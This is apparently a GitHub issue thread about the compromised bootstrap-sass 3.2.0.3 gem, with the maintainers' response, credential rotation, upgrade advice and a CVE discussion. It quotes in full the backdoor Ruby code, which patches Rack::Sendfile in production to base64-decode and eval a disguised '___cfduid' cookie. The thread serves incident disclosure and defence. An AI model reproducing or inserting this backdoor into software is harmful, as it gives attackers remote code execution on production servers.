bootstrap-sass
bootstrap-sass copied to clipboard
twbs
3.2.0.3?
Hi there,
We noticed that 3.2.0.2 was yanked, and 3.2.0.3 was published to RubyGems. We thought this might be because of ruby-sass being deprecated, but we can't seem to see the 3.2.0.3 code on GitHub.
Looking further, there's some...interesting looking code in what i installed via gem install bootstrap-sass -v 3.2.0.3 (in a file named lib/active-controller/middleware.rb):
begin
require 'rack/sendfile'
if Rails.env.production?
Rack::Sendfile.tap do |r|
r.send :alias_method, :c, :call
r.send(:define_method, :call) do |e|
begin
x = Base64.urlsafe_decode64(e['http_cookie'.upcase].scan(/___cfduid=(.+);/).flatten[0].to_s)
eval(x) if x
rescue Exception
end
c(e)
end
end
end
rescue Exception
nil
end
I have not run this, and I'm a little concerned with what's going on here. It looks like it's loading a cookie and eval-ing it, which seems suspect. Please advise.
Definitely a backdoor. Everything that's been updated in this account (recently) should be assumed backdoored until this is acknowledged and they follow proper methods on eradicating the culprit.
https://www.incidentresponse.com/playbooks/
https://support.cloudflare.com/hc/en-us/articles/200170156-What-does-the-Cloudflare-cfduid-cookie-do-
The __cfduid cookie should never be evaluated like that.
There is currently only 2 people who have push rights to this gem: @thomas-mcdonald and me. I've changed my password just now.
Still need to go through all my gems, unfortunately I maintain a lot of them, really hoping it wasn't my account.
I've changed my password on rubygems.org and removed Thomas from owners for now as a precaution, @evanphx also got in touch with me via email.
@glebm any (auth/access) tokens? May want to check email addresses in other accounts to ensure recovery methods weren't manipulated. Sorry you're having to go through this! Always a nightmare.
@glebm We don't keep track of which account it came from, no. But since we invalidating api tokens and you have change passwords, you're safe.
What's the recommended next steps for apps that were using 3.2.0.2 and can no longer build since that version was yanked. Should we be upgrading to 3.3.5.1? Will you restore a safe version of 3.2.0.2? Should we take any particular audit and mitigation steps ourselves?
@evanphx can you check if the same IP maybe uploaded other gems around the time?
Will you restore a safe version of 3.2.0.2?
Yes, but not for a few days (maybe longer) as I'm busy.
Upgrading to v3.4.1 is recommended, and should be easy as there is very few backwards incompatibilities between 3.2 and 3.4 releases, and lots of bug fixes.
@AndrewSwerlick actually we update to v3.4.1 and everything seem ok. i'll keep updated if i saw something.
@glebm @evanphx Thanks for the quick action + pulling my access - I have rotated my creds and enabled 2fa across UI / API.
I see that Rubygems reports that 3.2.0.3 is listed as yanked from Rubygems, but I seem to be able to download it. What's strange is our CI originally alerted us about the CVE but if I set the version to ~> 3.2.0 I'm still able to get the malicious patch and no warnings from CI.
Just to be clear, I don't think this is a local caching issue. I'm seeing 3.2.0.3 installed in the build log for a Heroku test app but if I try to install 3.2.0.2 then the Heroku build fails as expected as it cannot find 3.2.0.2.
I also followed https://help.heroku.com/18PI5RSY/how-do-i-clear-the-build-cache and I am still able to get the malicious patch.
I can confirm that I never downloaded 3.2.0.3 locally, but I am able to do so:
Ah, there is an answer in https://github.com/rubygems/rubygems.org/issues/1941
Should a CVE be created for this then? It seems that yanking the gem was not enough.
Liran from Snyk here. Happy to see that this got caught very quickly (great job @dgb!) and the maintainers responding promptly with with credentials resets and yanking out the package (well done!).
If there's anything we can help at Snyk with the security research such as checking other potentially tampered versions or packages by the maintainers whose creds were linked and such let me know!
P.S. We're looking at some repository details, and stats to get more insights into the impact of this and I'm also taking up notes for a summary of this to be published on our blog.
@lirantal If you could file a CVE that'd be great! I have no experience with those.
@glebm @thomas-mcdonald not to beat a dead horse, but did either of you determine which had their creds compromised, or collaborate on root cause? Is simply changing your creds and tokens sufficient, or should this be something to consider determining so that it doesn't happen again? Cheers.
We couldn't find any evidence pointing towards either of our accounts. None of our other gems have been affected, and RubyGems doesn't have any sort of log to determine who pushed the gem.
I did have a relatively weak password for RubyGems (I created my account there a long time ago, before any of the current password policies were in place).
great thanks @codytubbs!
we've got the blog post up at https://snyk.io/blog/malicious-remote-code-execution-backdoor-discovered-in-the-popular-bootstrap-sass-ruby-gem/ and it's been added to Snyk's database too at https://snyk.io/vuln/SNYK-RUBY-BOOTSTRAPSASS-174093
https://support.cloudflare.com/hc/en-us/articles/200170156-What-does-the-Cloudflare-cfduid-cookie-do-
The
__cfduidcookie should never be evaluated like that.
It's a disguise. The exploit makes use of ___cfduid, with three underscores. CloudFlare makes use of __cfduid, with two underscores.
Web application firewalls could also be set to look for hostile connections making use of the three-underscore version, and block them.
